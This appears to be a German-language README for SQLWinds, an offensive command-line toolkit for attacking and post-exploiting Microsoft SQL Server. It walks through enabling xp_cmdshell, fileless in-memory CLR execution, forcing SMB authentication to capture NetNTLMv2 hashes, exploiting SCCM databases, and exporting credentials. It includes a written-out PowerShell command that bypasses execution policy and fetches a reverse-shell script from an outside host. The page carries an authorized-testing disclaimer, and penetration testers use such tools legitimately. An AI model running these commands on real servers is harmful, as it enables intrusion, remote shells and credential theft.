SQLWinds

Toolkit für SQL-Sicherheitsbewertung und Post-Exploitation

SQLWinds ist ein Befehlszeilentool für Sicherheitstests und die Ausnutzung von Microsoft SQL Server. Es bietet eine interaktive Umgebung, um Server eingehend zu analysieren, Privilegien zu erweitern, Angriffe auszuführen und sich durch Netzwerke zu bewegen – alles mit spezialisierten Befehlen für Aufgaben wie In-Memory-Codeausführung und SCCM-Datenbankerkundung.

📖 Dokumentation & Ressourcen

Schnellzugriff:

• Vollständige Dokumentation & Wiki – Vollständige Anleitung und Befehlsreferenz
• Problem melden – Einen Fehler gefunden oder eine Funktionsanfrage?
• Neueste Version – Lade die neueste Version herunter

Funktionen

• Verschiedene Authentifizierungsmethoden: Unterstützt SQL, Windows-integrierte Authentifizierung (--integrated) und Kerberos-Delegierung (--kerberos mit --user/--pass).
• Umfassende Enumeration:
  • Serverinformationen, Datenbanken, Tabellen, Spalten, Benutzer und Berechtigungen.
  • Sicherheitskonfigurations-Audit (xp_cmdshell, CLR, OLE usw.).
  • Erkennung sensibler Daten und Extraktion von Geheimnissen.
  • Enumeration und Ausnutzung von Linked Servern.
• Post-Exploitation & Lateral Movement:
  • Codeausführung: Aktivieren und Verwenden von xp_cmdshell, OLE-Automatisierungsprozeduren (sp_oacreate) und CLR-Integration.
  • In-Memory-CLR: .NET-Assemblys direkt aus dem Speicher laden und ausführen, ohne Dateien auf die Festplatte zu schreiben (:memclr).
  • Credential-Diebstahl: SMB-Authentifizierung gegen einen UNC-Pfad erzwingen für Relay-Angriffe (:unc_smb).
  • Registry-Interaktion: Registrierungsschlüssel und -werte über xp_regread lesen.
  • Persistenz: SQL-Agent-Aufträge erstellen, auflisten und ausführen.

Installation & Kompilierung

Schneller Build

Das Repository enthält ein build.bat-Skript für die einfache Kompilierung unter Windows:

.\build.bat

Die kompilierte ausführbare Datei SQLWinds.exe wird im Verzeichnis bin\Release\ abgelegt.

Manueller Build

1. Stellen Sie sicher, dass das .NET Framework (≥ 4.6.1) oder das .NET SDK installiert ist.
2. Klonen Sie das Repository:
   root@kitploit:~

   git clone https://github.com/blue0x1/sqlwinds.git
   cd sqlwinds
   

3. Kompilieren Sie die Projektmappe:
   root@kitploit:~

   msbuild SQLWinds.sln /p:Configuration=Release
   

Verwendung

Grundlegende Verbindung

# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123

# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated

# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!

# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"

Allgemeine Befehlszeilenoptionen

Interaktiver REPL-Modus

sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help

Vollständige REPL-Befehlsreferenz

Beispiel: Verwendung von :plain für große Skripte

Der Befehl :plain ist unerlässlich für die Ausführung großer, mehrzeiliger SQL-Skripte.

sqlwinds> :plain
SQL> 
SQL> BEGIN TRY
.....>     SELECT * FROM [VeryImportantTable];
.....>     EXEC sp_configure 'show advanced options', 1;
.....>     RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....>     SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute

1. Geben Sie :plain ein und drücken Sie die Eingabetaste.
2. Fügen Sie Ihr vollständiges SQL-Skript ein oder geben Sie es ein.
3. Geben Sie in einer neuen Zeile :execute ein, um das gesamte Skript auszuführen, oder :cancel, um abzubrechen.

Beispiele

1. Audit

SQLWinds.exe --server dc01 --integrated --security-audit 

2. Nutzung von xp_cmdshell für die Codeausführung

SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"

3. In-Memory-CLR-Ausführung (dateilos)

# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"

4. Stehlen von NetNTLMv2-Hashes über SRelay

# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share

5. Ausnutzung der SCCM-Datenbank

SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"

6. Datenexfiltration

# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv

# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx

🤝 Mitwirken & Support

Wir freuen uns über Beiträge! Wenn Sie Ideen für Verbesserungen haben oder Probleme finden:

1. Schauen Sie in die Wiki für die Dokumentation
2. Durchsuchen Sie die vorhandenen Issues, um Duplikate zu vermeiden
3. Erstellen Sie ein neues Issue mit detaillierten Informationen zu Ihrem Vorschlag oder Fehlerbericht

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich für autorisierte Sicherheitstests und Bildungszwecke gedacht. Die nicht autorisierte Verwendung gegen Systeme, die Sie nicht besitzen oder für deren Test Sie keine ausdrückliche Genehmigung haben, ist illegal. Die Entwickler übernehmen keine Haftung und sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Programm verursacht werden.

Danksagungen

Entwickelt von blue0x1.